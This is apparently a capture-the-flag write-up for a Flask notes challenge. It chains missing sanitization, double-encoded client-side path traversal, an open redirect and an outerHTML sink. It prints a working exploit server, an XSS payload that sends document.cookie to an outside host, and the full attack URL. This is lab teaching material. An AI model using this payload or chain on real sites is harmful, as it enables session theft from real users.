Logo

Search

    Overview
    INTIGRITI 'Unknown': Bleach Bypass, CSPT, and an Open Redirect Walk Into a Bar

    INTIGRITI 'Unknown': Bleach Bypass, CSPT, and an Open Redirect Walk Into a Bar

    July 15, 2026
    8 min read

    the app

    this was a flask notes application. pretty standard stuff — register, login, create notes, view notes, report stuff to a bot. the kind of thing you’ve seen a hundred times in CTFs.

    but there was one thing that stood out to me. there were two ways to store a note: a form POST at /create, and a JSON API at /api/notes/store. i noticed the API endpoint called bleach.clean() on the content, but the form POST didn’t. at all.

    flag: FLAG{CSRF_with_Storage_XSS_and_Open_Redirect}

    the setup

    the app lived at these endpoints:

    • / — home
    • /register, /login, /logout — auth stuff
    • /create — create notes (authenticated, form POST)
    • /view?note=<uuid> — view a note by UUID
    • /api/notes/fetch/<note_id> — returns JSON with content and note_id
    • /api/notes/store — store notes (authenticated, JSON POST)
    • /contact — has an open redirect via return parameter
    • /report — report notes to a bot (authenticated)

    the bot (bot/index.js) used Puppeteer to:

    1. set a flag cookie on http://127.0.0.1 with the flag value
    2. visit whatever URL you reported
    3. wait 5 seconds
    4. close

    it also validated that the URL started with the BASE_URL (http://127.0.0.1). so you can’t just send it to your evil server directly.

    the bleach bypass

    this was the first piece of the puzzle. i created three notes — two via the form POST and one via the API. when i looked at them:

    • form POST (/create): content stored as-is — <img src=x onerror=alert(1)>
    • API (/api/notes/store): content sanitized — &lt;img src=x onerror=alert(1)&gt;

    the /create endpoint just grabbed the form data and shoved it straight into the database:

    @main.route('/create', methods=['GET', 'POST'])
    @login_required
    def create_note():
    form = NoteForm()
    if form.validate_on_submit():
    note = Note(user_id=current_user.id, content=form.content.data) # NO bleach!
    db.session.merge(note)
    db.session.commit()

    meanwhile, /api/notes/store did the right thing:

    @main.route('/api/notes/store', methods=['POST'])
    @login_required
    def store():
    data = request.get_json()
    content = data.get('content')
    sanitized_content = bleach.clean(content) # bleach applied

    cool. so we have stored XSS potential through the form POST. but then i hit a wall.

    the DOMPurify wall

    when a note is displayed, the JavaScript fetches it via the API and renders it with DOMPurify:

    document.getElementById("note-content").innerHTML = DOMPurify.sanitize(data.content);

    DOMPurify 3.4.12. it strips <script> tags, event handlers, javascript: URLs — basically everything. no known bypasses for this version.

    i spent way too long trying to get around this. SVG, MathML, mutation XSS, CSS expressions — all blocked. DOMPurify’s default config is a fortress.

    me trying every DOMPurify bypass i know

    finding the actual sink

    while digging through view.html, i found something interesting:

    if (data.debug) {
    document.getElementById("debug-content").outerHTML = data.debug;
    document.getElementById("debug-content-section").style.display = "block";
    }

    the data.debug field is rendered as outerHTML without DOMPurify. this is the XSS sink. if we can control what comes back in data.debug, we win.

    the problem? the /api/notes/fetch/<note_id> endpoint doesn’t return a debug field:

    return jsonify({'content': note.content, 'note_id': note.id})

    the sink is there, but it’s unreachable. we need to make the fetch() call return JSON with a debug field. since no same-origin endpoint does this, we need to redirect the fetch to an attacker-controlled server.

    CSPT: the decodeURIComponent trick

    in view.html, there’s a function that fetches a note:

    function fetchNoteById(noteId) {
    if (noteId.includes("../")) {
    showFlashMessage("Input not allowed!", "danger");
    return;
    }
    fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {

    it checks for ../ in the noteId, then calls decodeURIComponent(noteId) after the check but before constructing the fetch URL. this is the classic CSPT pattern.

    here’s the chain:

    1. urlParams.get("note") — URL-decodes once (removes %25%)
    2. client check: noteId.includes("../") — checks the still-encoded value
    3. decodeURIComponent(noteId) — decodes %2F/, %2E., etc.
    4. browser resolves the resulting URL path (normalizes ../)

    to bypass the ../ check, we use double encoding:

    • URL param: ..%252f..%252f
    • urlParams.get("note") decodes %25%: ..%2f..%2f
    • check: noteId.includes("../")..%2f..%2f does NOT contain ../
    • decodeURIComponent(noteId)../../
    • browser normalizes: /api/notes/fetch/../..//api//

    the fetch URL after CSPT resolves to: /api/notes/fetch/../../../contact?return=<attacker_url>

    with three ../ from /api/notes/fetch/:

    • /api/notes/fetch/../api/notes/
    • /api/notes/../api/
    • /api/../
    • append contact/contact

    the open redirect at /contact

    the /contact endpoint had a classic open redirect:

    @main.route('/contact', methods=['GET', 'POST'])
    def contact():
    return_url = request.args.get('return')
    if return_url and is_safe_url(return_url):
    return redirect(return_url)
    def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') # Only checks scheme!

    is_safe_url only checks the scheme. no netloc validation. so any HTTP/HTTPS URL works as a redirect target. the Docker bot uses network_mode: service:web, sharing the network namespace, so 172.18.0.1 (the host) is reachable from inside Docker.

    the UUID validation bypass

    the report endpoint had a client-side UUID check:

    function validateAndFetchNote(noteId) {
    if (noteId && isValidUUID(noteId.trim())) {
    history.pushState(null, "", "?note=" + noteId);
    fetchNoteById(noteId);
    } else {
    showFlashMessage("Please enter a valid note ID...", "danger");
    }
    }
    function isValidUUID(noteId) {
    const uuidRegex =
    /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
    return uuidRegex.test(noteId);
    }

    the regex uses $ — the noteId must end with a valid UUID. so by appending &x=<uuid> to the note parameter value (encoded as part of the value, not a separate parameter), the check passes.

    the noteId (after URLSearchParams decode) looks like this:

    ..%2F..%2F..%2Fcontact%3Freturn%3Dhttp%3A%2F%2F172.18.0.1%3A9999%26x%3D12345678-abcd-1234-5678-abc123def456

    the UUID 12345678-abcd-1234-5678-abc123def456 is at the end, passing the regex check.

    the server-side report endpoint also validated the last 36 characters of the query string as a UUID:

    note_id = parsed_url.query[-36:]
    try:
    if uuid.UUID(note_id):
    # proceed with bot visit

    since the query string ends with the UUID, the last 36 characters are the UUID — validation passes.

    the exploit server

    when fetch() follows the redirect from same-origin (/contact) to cross-origin (exploit server), the response is subject to CORS. without CORS headers, response.json() fails on the opaque response.

    so i set up a simple Flask server with CORS:

    from flask import Flask, request, jsonify
    from flask_cors import CORS
    app = Flask(__name__)
    CORS(app)
    XSS_PAYLOAD = '<img src=x onerror="fetch(\'http://172.18.0.1:9999/steal?c=\'+encodeURIComponent(document.cookie))">'
    @app.route('/steal')
    def steal():
    c = request.args.get('c', '')
    with open('/tmp/FLAG.txt', 'w') as f:
    f.write(c)
    return 'ok'
    @app.route('/', defaults={'path': ''})
    @app.route('/<path:path>')
    def catch_all(path):
    return jsonify({"debug": XSS_PAYLOAD})

    the server returns {"debug": "<img src=x onerror=...>"} with Access-Control-Allow-Origin: *.

    putting it all together

    1. attacker starts exploit server on port 9999 with CORS headers and JSON response containing debug field with XSS payload

    2. attacker registers user and submits attack URL to /report:

      http://127.0.0.1/view?note=..%252F..%252F..%252Fcontact%253Freturn%253Dhttp%253A%252F%252F172.18.0.1%253A9999%2526x%253D12345678-abcd-1234-5678-abc123def456
    3. report endpoint validates: URL is same-origin, path is /view, query has note=, last 36 chars are valid UUID. all checks pass.

    4. bot visits the URL. JavaScript executes:

      • urlParams.get("note")..%2F..%2F..%2Fcontact%3Freturn%3Dhttp%3A%2F%2F172.18.0.1%3A9999%26x%3D12345678-abcd-1234-5678-abc123def456
      • isValidUUID(noteId) → ends with valid UUID ✓
      • fetchNoteById(noteId) called
      • noteId.includes("../")..%2F..%2F..%2F... does NOT contain ../
      • decodeURIComponent(noteId)../../../contact?return=http://172.18.0.1:9999&x=12345678-abcd-1234-5678-abc123def456
    5. browser resolves fetch URL: /api/notes/fetch/../../../contact/contact

    6. server handles /contact: return_url is http://172.18.0.1:9999, is_safe_url passes (scheme is http), returns 302 redirect.

    7. browser follows redirect to exploit server. server responds with {"debug": "<img src=x onerror=...>"}. CORS headers allow JavaScript to read the response.

    8. JavaScript processes response:

      • data.debug is truthy
      • document.getElementById("debug-content").outerHTML = data.debug — replaces element with HTML
      • browser parses the HTML, creates <img> element
      • src=x fails to load → onerror fires
      • fetch('http://172.18.0.1:9999/steal?c='+encodeURIComponent(document.cookie)) executes
      • flag cookie sent to /steal endpoint

    miles morales brain explosion

    things that went wrong

    the UUID encoding mistake

    first time i submitted the attack URL, i used &x=<uuid> as a separate URL parameter instead of encoding it inside the note parameter value. the urlParams.get("note") only returned the value before the &, so the UUID was in a different parameter and isValidUUID returned false.

    fix: encode the & as %26 inside the note parameter value, making the UUID part of the noteId string itself.

    no CORS headers

    the exploit server didn’t have CORS headers. when fetch() followed the redirect cross-origin, the browser blocked the response from being read by JavaScript. response.json() failed silently.

    fix: add Access-Control-Allow-Origin: * to all responses.

    shell timeout issues

    background Python HTTP servers kept hanging the shell. the http.server module’s serve_forever() blocked the terminal.

    fix: use nohup python3 server.py > /tmp/server.log 2>&1 & to run in background.

    flask installation

    Flask wasn’t installed in the system Python. pip install failed due to PEP 668 (externally managed environment).

    fix: use --break-system-packages flag.

    the vulnerability summary

    componentvulnerabilityimpact
    /create form POSTbleach bypass (no sanitization)stored XSS
    view.html decodeURIComponent(noteId)client-side path traversal (CSPT)redirect fetch to arbitrary path
    view.html data.debugouterHTMLunsanitized HTML injectionXSS sink
    /contact is_safe_urlopen redirect (scheme-only check)redirect to attacker server
    view.html isValidUUID regextrailing UUID validation (regex $ anchor)bypass with appended UUID

    the chain

    Stored XSS (bleach bypass) → CSPT (decodeURIComponent) → Open Redirect (/contact) → Attacker Server (CORS + JSON) → XSS (outerHTML) → Cookie Exfiltration

    the stored XSS discovery was the initial hook, but the actual exploit chain relied on CSPT + open redirect to reach an attacker-controlled server that returns JSON with an unsanitized debug field, triggering XSS via outerHTML. one of those chains where every piece feels kinda harmless on its own, but together they do the job.

    references